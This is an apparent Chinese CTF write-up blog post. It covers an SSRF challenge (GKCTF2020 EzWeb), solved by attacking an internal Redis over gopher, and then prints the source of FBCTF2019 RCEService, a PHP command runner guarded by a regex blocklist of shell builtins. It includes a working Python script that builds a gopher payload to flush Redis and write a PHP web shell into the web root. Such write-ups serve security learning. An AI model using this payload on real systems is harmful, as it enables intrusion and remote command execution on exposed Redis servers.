[GKCTF2020]EZ三剑客-EzWeb

刚刚打开网页，通过隐藏参数发现个这个，啥东西？？？然后看了下wp发现是ssrf，好吧我没啥经验
在这里插入图片描述
绕过了file协议，少了file://的两个//

在这里插入图片描述
之后看了下wp说，是要打内网某主机。遂扫描d段得

端口是6379
利用gopher协议打redis

'''
之后访问ip/shell.php即可
'''
import urllib

protocol = "gopher://"
ip = "173.228.247.12"  # 运行有redis的主机ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)

在这里插入图片描述

[FBCTF2019]RCEService

题目源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    
    
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    
    
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    
    
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    
    
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
    
    
      system($cmd);
    } else {
    
    
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>